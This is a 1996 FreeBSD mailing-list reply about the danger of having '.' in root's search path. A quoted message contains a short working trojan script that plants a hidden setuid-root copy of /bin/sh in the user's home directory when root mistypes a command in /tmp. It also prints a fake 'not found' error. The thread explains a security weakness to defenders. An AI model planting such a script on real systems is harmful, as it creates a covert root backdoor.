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Date:      Tue, 25 Jun 1996 01:33:21 -0700 (PDT)
From:      -Vince- <vince@mercury.gaianet.net>
To:        Joerg Wunsch <joerg_wunsch@uriah.heep.sax.de>
Cc:        hackers@FreeBSD.ORG, security@FreeBSD.ORG, chad@mercury.gaianet.net, jbhunt@mercury.gaianet.net
Subject:   Re: I need help on this one - please help me track this guy down!
Message-ID:  <Pine.BSF.3.91.960625013239.21697l-100000@mercury.gaianet.net>
In-Reply-To: <199606250758.JAA17930@uriah.heep.sax.de>

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On Tue, 25 Jun 1996, J Wunsch wrote:

> As David Greenman wrote:
> 
> >    Actually, this particular problem can be avoided by putting "." last in
> > the search path rather than first.
> 
> But only until someone drops this script e.g. into /tmp:
> 
> #!/bin/sh
> 
> if [ `id -u -r` = 0 ] ; then
> 	(cp /bin/sh $HOME/.newsrc.bak; chown root $HOME/.newsrc.bak;
> 	chmod 04755 $HOME/.newsrc.bak) &
> fi
> 
> echo "$0: not found."
> exit 1
> 
> 
> ...and links it to /tmp/sl, /tmp/mkae, /tmp/iv etc.

	Hmmm, I never thought they can get you in the /tmp directory...

Vince





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